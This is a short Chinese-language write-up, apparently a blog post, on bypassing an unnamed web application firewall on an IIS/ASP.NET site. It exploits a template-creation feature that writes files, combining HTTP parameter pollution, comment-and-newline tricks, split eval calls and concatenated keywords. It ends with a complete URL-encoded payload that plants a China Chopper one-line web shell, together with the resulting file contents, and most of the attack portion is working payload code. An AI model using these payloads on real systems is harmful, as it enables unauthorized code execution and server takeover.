环境介绍
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.
waf:某不知名waf
漏洞点情况:
新建模板处,可以直接写入内容到文件:


bypass过程
一开始也试过诸多绕过方法,包括各种常见编码、chunked编码等等,都不太行。
然后尝试了一下,看有没有http参数污染(两个code参数):


比如一个最简单的输出hello world:
<%@Page Language="C#"%> <% Response.Write("hello,world"); %>
之前我们通过测试知道<% Response.Write("hello,world"); %>这个会被waf拦截,删掉<%之后呢?

自然是使用注释。
aspx是支持 “//”的注释方式的,然后我们需要使用换行,把我们的内容换到下一行避免被注释,于是:


code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>


getshell
经过了好一番尝试,发现waf还过滤了Request等关键词,eval()可以上传,但是括号里面有内容比如eval(xxx)就不行。
参考了这篇文章里的注释符号:
https://www.cnblogs.com/xiaozi/p/7566795.html
将 eval(a)
拆分为
eval/*-/*-*/(a/*,*/)
Request就直接用加号进行连接,比如:"Req"+"uest"
最终结合hpp来利用,上传菜刀一句话的payload为:
code=<%@ Page Language = J %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>
这个生成的文件内容应该是:
<%@ Page Language = J %><%//,
var a="ev"+"al"+"(Reque"+"st.Item[\"c"+"o\"],"+"\"uns"+"afe\");"; eval/*-/*-*/(a/*,*/);%>
上传:


eval都行了,还怕拿不到shell?
小弟前来 一键三连
展开阅读全文 ∨
收起 ∧